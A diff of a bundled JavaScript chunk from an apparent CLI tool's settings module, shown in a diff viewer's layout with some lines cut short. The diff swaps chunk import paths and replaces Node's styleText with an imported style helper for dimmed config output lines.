} from "./chunk-P7LABKCW.js";
|
|
@@ -20,18 +20,25 @@ import {
|
|
|
20
20
|
LockTimeoutError,
|
|
21
21
|
withFileLock
|
|
22
22
|
} from "./chunk-MEFB5KHA.js";
|
|
23
|
+
import {
|
|
24
|
+
style
|
|
25
|
+
} from "./chunk-5FGO6TYT.js";
|
|
23
26
|
import {
|
|
24
27
|
projectRouterPath,
|
|
25
28
|
readProjectRouterFile,
|
|
26
29
|
routerSettings
|
|
27
|
-
} from "./chunk-
|
|
30
|
+
} from "./chunk-DATCR7AU.js";
|
|
28
31
|
import {
|
|
29
32
|
hasCode
|
|
30
33
|
} from "./chunk-2I4QTOLB.js";
|
|
31
34
|
import {
|
|
32
35
|
isTeamShelfOrigin,
|
|
33
36
|
loadProjectConfig
|
|
34
|
-
} from "./chunk-
|
|
37
|
+
} from "./chunk-G4AM2SOL.js";
|
|
38
|
+
import {
|
|
39
|
+
parseUsdToAtomic,
|
|
40
|
+
toMoney
|
|
41
|
+
} from "./chunk-6ZSGER3A.js";
|
|
35
42
|
import {
|
|
36
43
|
CONFIG_KEYS,
|
|
37
44
|
EXPERIMENTAL_CONFIG_KEYS,
|
|
@@ -53,11 +60,9 @@ import {
|
|
|
53
60
|
parseLoopValue,
|
|
54
61
|
parsePublicFallbackFlag,
|
|
55
62
|
parseUpdateModeFlag,
|
|
56
|
-
parseUsdToAtomic,
|
|
57
63
|
resolveSettings,
|
|
58
|
-
retiredPaymentKeys
|
|
59
|
-
|
|
60
|
-
} from "./chunk-XICKN3CH.js";
|
|
64
|
+
retiredPaymentKeys
|
|
65
|
+
} from "./chunk-VIOUZW7Z.js";
|
|
61
66
|
import {
|
|
62
67
|
CliError,
|
|
63
68
|
writeFileAtomic
|
|
@@ -70,7 +75,6 @@ import {
|
|
|
70
75
|
import { mkdir } from "node:fs/promises";
|
|
71
76
|
import { homedir } from "node:os";
|
|
72
77
|
import { dirname as dirname2 } from "node:path";
|
|
73
|
-
import { styleText } from "node:util";
|
|
74
78
|
|
|
75
79
|
// src/lib/skill-wiring.ts
|
|
76
80
|
import { existsSync, statSync } from "node:fs";
|
|
@@ -892,16 +896,16 @@ async function persist(dir, merge) {
|
|
|
892
896
|
function formatLine(key, entry) {
|
|
893
897
|
const label = key.padEnd(KEY_WIDTH);
|
|
894
898
|
const where = entry.path !== void 0 && (entry.source === "project" || entry.source === "local") ? ` ${entry.path}` : "";
|
|
895
|
-
return ` ${label} ${displayValue(entry)} ${
|
|
899
|
+
return ` ${label} ${displayValue(entry)} ${style("dim", `(${entry.source}${where})`)}`;
|
|
896
900
|
}
|
|
897
901
|
function describedLine(key, entry, note) {
|
|
898
902
|
const description = KEY_DESCRIPTIONS[key];
|
|
899
903
|
let line = formatLine(key, entry);
|
|
900
|
-
if (description !== void 0) line += ` ${
|
|
904
|
+
if (description !== void 0) line += ` ${style("dim", `- ${description}`)}`;
|
|
901
905
|
return withNote(line, note);
|
|
902
906
|
}
|
|
903
907
|
function withNote(line, note) {
|
|
904
|
-
return note !== void 0 ? `${line} ${
|
|
908
|
+
return note !== void 0 ? `${line} ${style("dim", `(${note})`)}` : line;
|
|
905
909
|
}
|
|
906
910
|
function downgradeNote(key, settings) {
|
|
907
911
|
if (key !== "publish.mode" || settings.publishMode.downgradedWarning === void 0) {
|
|
@@ -937,4 +941,4 @@ export {
|
|
|
937
941
|
persistInstallHarness,
|
|
938
942
|
persistGrantDeclined
|
|
939
943
|
};
|
|
940
|
-
//# sourceMappingURL=chunk-
|
|
944
|
+
//# sourceMappingURL=chunk-H2L33M7F.js.map
|